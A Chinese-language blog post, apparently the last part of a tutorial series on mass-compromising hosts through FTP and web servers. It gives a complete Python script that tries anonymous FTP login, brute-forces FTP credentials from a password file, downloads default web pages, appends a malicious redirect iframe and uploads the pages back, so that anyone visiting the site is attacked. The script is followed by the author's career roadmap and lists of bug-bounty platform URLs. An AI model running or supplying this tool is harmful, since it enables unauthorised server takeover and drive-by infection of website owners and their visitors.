前言:
介绍:
博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。
殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。
擅长:对于技术、工具、漏洞原理、黑产打击的研究。
C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。
导读:
面向读者:对于网络安全方面的学者。
本文知识点(读者自测):
(1)利用FTP与Web批量抓肉机(√)
让读者如虎添翼
抓肉鸡博文 目标 状态 【Python脚本进阶】利用FTP与Web批量抓“ 肉机”(上):构建匿名FTP扫描器 构建匿名FTP扫描器 已发布 【Python脚本进阶】2.3、利用FTP与Web批量抓“ 肉机”(中):使用Ftplib暴力破解FTP用户口令 使用Ftplib暴力破解FTP用户口令 已发布 【Python脚本进阶】2.3、利用FTP与Web批量抓“ 肉机”(下):在FTP服务器上搜索网页+注入代码 在FTP服务器上搜索网页+注入代码 已发布 【Python脚本进阶】2.3、利用FTP与Web批量抓“ 肉机”(终) 利用FTP与Web批量抓肉机 已发布
目录
一、最后一步:
分析:
整个的攻击最后一步:attack()函数
1、attack()函数的输入参数包括一个用户名、密码、主机名和重定向的位置。该函数首先用用户名/密码登录FTP 服务器。
2、 这个脚本会搜索默认网页,并下载每个被找到的网页, 并在其中加入恶意重定向代码。
3、 脚本会将被挂马的网页传回FTP 服务器, 任何访问该Web 服务器的机器都将会被黑
def attack(username, password, tgtHost, redirect): ftp = ftplib.FTP(tgtHost) ftp.login(username, password) defPages = returnDefault(ftp) for defPage in defPages: injectPage(ftp, defPage, redirect)
二、完整
分析:
通过添加一些命令行参数的解析代码, 完成整个脚本
首先看FTP 服务器能不能匿名访问。不能, 就暴力破解口令,能破解出口令或FTP 能匿名登录, 登录到FTP 站点上去发动攻击。尽管只用了数百行代码, 但它完全复制了k985ytv 攻击中使用的攻击载体。
import ftplib import optparse import time def anonLogin(hostname): try: ftp = ftplib.FTP(hostname) ftp.login('anonymous', 'password') print('\n(*) ' + str(hostname) + ' FTP Anonymous Logon Succeeded.') ftp.quit() return True except Exception as e: print('[*]' + str(e)) print('\n[-]' + str(hostname) + 'FTP Anonymous Logon Failed.') return False def bruteLogin(hostname, passwdFile): pF = open(passwdFile, 'r') for line in pF.readlines(): time.sleep(1) userName = line.split(':')[0] passWord = line.split(':')[1].strip('\r').strip('\n') print('[+] Trying: ' + userName + '/' + passWord) try: ftp = ftplib.FTP(hostname) ftp.login(userName, passWord) print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + userName + '/' + passWord) ftp.quit() return (userName, passWord) except Exception as e: pass print('\n[-] Could not brute force FTP credentials') return (None, None) def returnDefault(ftp): try: dirList = ftp.nlst() except: dirList = [] print('[-] Could not list directory contents.') print('[-] Skipping To Next Target.') return retList = [] for fileName in dirList: fn = fileName.lower() if '.php' in fn or '.htm' in fn or '.asp' in fn: print('[+] Found default page: ' + fileName) retList.append(fileName) return retList def injectPage(ftp, page, redirect): f = open(page + '.tmp', 'w') ftp.retrlines('RETR ' + page, f.write) print('[+] Downloaded Page: ' + page) f.write(redirect) f.close() print('[+] Injected Malicious IFrame on: ' + page) ftp.storlines('STOR ' + page, open(page + '.tmp')) print('[+] Uploaded Injected Page: ' + page) def attack(username, password, tgtHost, redirect): ftp = ftplib.FTP(tgtHost) ftp.login(username, password) defPages = returnDefault(ftp) for defPage in defPages: injectPage(ftp, defPage, redirect) def main(): parser = optparse.OptionParser('usage%prog ' + '-H <target host[s]> -r <redirect page>' + '[ -f <userpass file>]') parser.add_option('-H', dest='tgtHosts', type='string', help='specify target host') parser.add_option('-f', dest='passwdFile', type='string', help='specify user/password file') parser.add_option('-r', dest='redirect', type='string', help='specify a redirection page') (options, args) = parser.parse_args() tgtHosts = str(options.tgtHosts).split(', ') passwdFile = options.passwdFile redirect = options.redirect if tgtHosts == None or redirect == None: print(parser.usage) exit(0) for tgtHost in tgtHosts: username = None password = None if anonLogin(tgtHost) == True: username = 'anonymous' password = '' print('[+] Using Anonymous Creds to attack') attack(username, password, tgtHost, redirect) elif passwdFile != None: (username, password) = \ bruteLogin(tgtHost, passwdFile) if password != None: print('[+] Using Creds: ' + username + '/' + password + ' to attack') attack(username, password, tgtHost, redirect) if __name__ == '__main__': main()
网络安全三年之约
First year
掌握各种原理、不断打新的靶场
目标:edusrc、cnvd
主页 | 教育漏洞报告平台 (sjtu.edu.cn)https://src.sjtu.edu.cn/https://www.cnvd.org.cnhttps://www.cnvd.org.cn/
second year
不断学习、提升技术运用技巧,研究各种新平台
开始建立自己的渗透体系
目标:众测平台、企业src应急响应中心
众测平台 URL 漏洞盒子 漏洞盒子 | 互联网安全测试众测平台 火线安全平台 火线安全平台 漏洞银行 BUGBANK 官方网站 | 领先的网络安全漏洞发现品牌 | 开放安全的提出者与倡导者 | 创新的漏洞发现平台 360漏洞众包响应平台 360漏洞云漏洞众包响应平台 补天平台(奇安信) 补天 - 企业和白帽子共赢的漏洞响应平台,帮助企业建立SRC 春秋云测 首页 雷神众测(可信众测,安恒) 雷神众测 - BountyTeam 云众可信(启明星辰) 云众可信 - 互联网安全服务引领者 ALLSEC ALLSEC 360众测 360众测平台 看雪众测(物联网) https://ce.kanxue.com/ CNVD众测平台 网络安全众测平台 工控互联网安全测试平台 CNCERT工业互联网安全测试平台 慢雾(区块链) Submit Bug Bounty - SlowMist Zone - Blockchain Ecosystem Security Zone 平安汇聚 http://isrc.pingan.com/homePage/index
互联网大厂 URL 阿里 https://asrc.alibaba.com/#/ 腾讯 https://security.tencent.com/ 百度 https://bsrc.baidu.com/v2/#/home 美团 https://security.meituan.com/#/home 360 https://security.360.cn/ 网易 https://aq.163.com/ 字节跳动 https://security.bytedance.com/ 京东 https://security.jd.com/#/ 新浪 http://sec.sina.com.cn/ 微博 https://wsrc.weibo.com/ 搜狗 http://sec.sogou.com/ 金山办公 https://security.wps.cn/ 有赞 https://src.youzan.com/
Third Year
学习最新的知识,建全自己的渗透体系
目标:参与护网(每一个男孩子心中的梦想)
时间:一般5月面试,6/7月开始(持续2-3周)
分类:国家级护网、省级护网、市级护网、重大节日护网(如:建党、冬奥等)